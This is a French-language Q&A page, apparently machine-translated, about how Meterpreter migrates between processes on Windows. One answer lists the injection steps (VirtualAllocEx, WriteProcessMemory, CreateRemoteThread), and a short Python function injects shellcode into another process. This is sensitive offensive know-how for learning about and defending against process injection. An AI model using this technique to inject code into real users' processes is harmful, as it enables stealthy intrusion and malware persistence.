web-dev-qa-db-fra.com

Comment fonctionne la migration des processus dans Meterpreter

Quelqu'un a-t-il essayé de comprendre comment fonctionne la migration des processus dans Meterpreter sous Windows? Je veux créer mon propre script pour l'apprendre, mais je n'arrive pas à trouver un point de départ pour cela. Eh bien, j'ai une idée d'utiliser la bibliothèque NtQuerySystemInformation et sa fonction SystemHandleInformation, car elle peut renvoyer la poignée d'un thread dans le système d'exploitation et en utilisant celles-ci, je peux changer son parent, mais je doute que ce soit va travailler (en raison de TEB). Et j'ai le sentiment qu'il devrait y avoir un moyen plus simple que NtQuerySystemInformation. Quelqu'un pourrait-il suggérer un DLL ou un algorithme à utiliser?

17
Artur Korobeynyk

Voici comment fonctionne la migration dans meterpreter:

  1. Obtenez le PID dans lequel l'utilisateur souhaite migrer. Il s'agit du processus cible.
  2. Vérifiez l'architecture du processus cible, qu'il soit 32 bits ou 64 bits. Il est important pour l'alignement de la mémoire.
  3. Vérifiez si le processus meterpreter a le SeDebugPrivilege. Ceci est utilisé pour obtenir une poignée sur le processus cible. Plus de détails sur http://support.Microsoft.com/kb/131065
  4. Obtenez la charge utile réelle du gestionnaire qui va être injectée dans le processus cible. Calculez également sa longueur.
  5. Appelez l'API OpenProcess () pour accéder à la mémoire virtuelle du processus cible.
  6. Appelez l'API VirtualAllocEx () pour allouer une mémoire RWX (lecture, écriture, exécution) dans le processus cible
  7. Appelez l'API WriteProcessMemory () pour écrire la charge utile dans l'espace de mémoire virtuelle de la mémoire cible.
  8. Appelez l'API CreateRemoteThread () pour exécuter le stub de mémoire nouvellement créé ayant la charge utile injectée dans un nouveau thread.
  9. Arrêtez le thread précédent ayant le compteur initial exécuté dans l'ancien processus.
18
void_in

Quelque part dans les endroits les plus profonds de github, j'ai trouvé ce code qui fait tout le nécessaire, donc ceux qui recherchent ces informations peuvent trouver une réponse dans les fonctions API ci-dessous:

def injectshellcode(self, shellcode):
    """This function merely executes what it is given"""
    shellcodeaddress = self.kernel32.VirtualAllocEx(
                                                    self.handle,
                                                    None,
                                                    len(shellcode),
                                                    0x1000,
                                                    0x40
                                                    )
    self.kernel32.WriteProcessMemory(
                                    self.handle,
                                    shellcodeaddress,
                                    shellcode,
                                    len(shellcode),
                                    None
                                    )
    thread = self.kernel32.CreateRemoteThread(
                                    self.handle,
                                    None,
                                    0,
                                    shellcodeaddress,
                                    None,
                                    0,
                                    None
                                    )
2
Artur Korobeynyk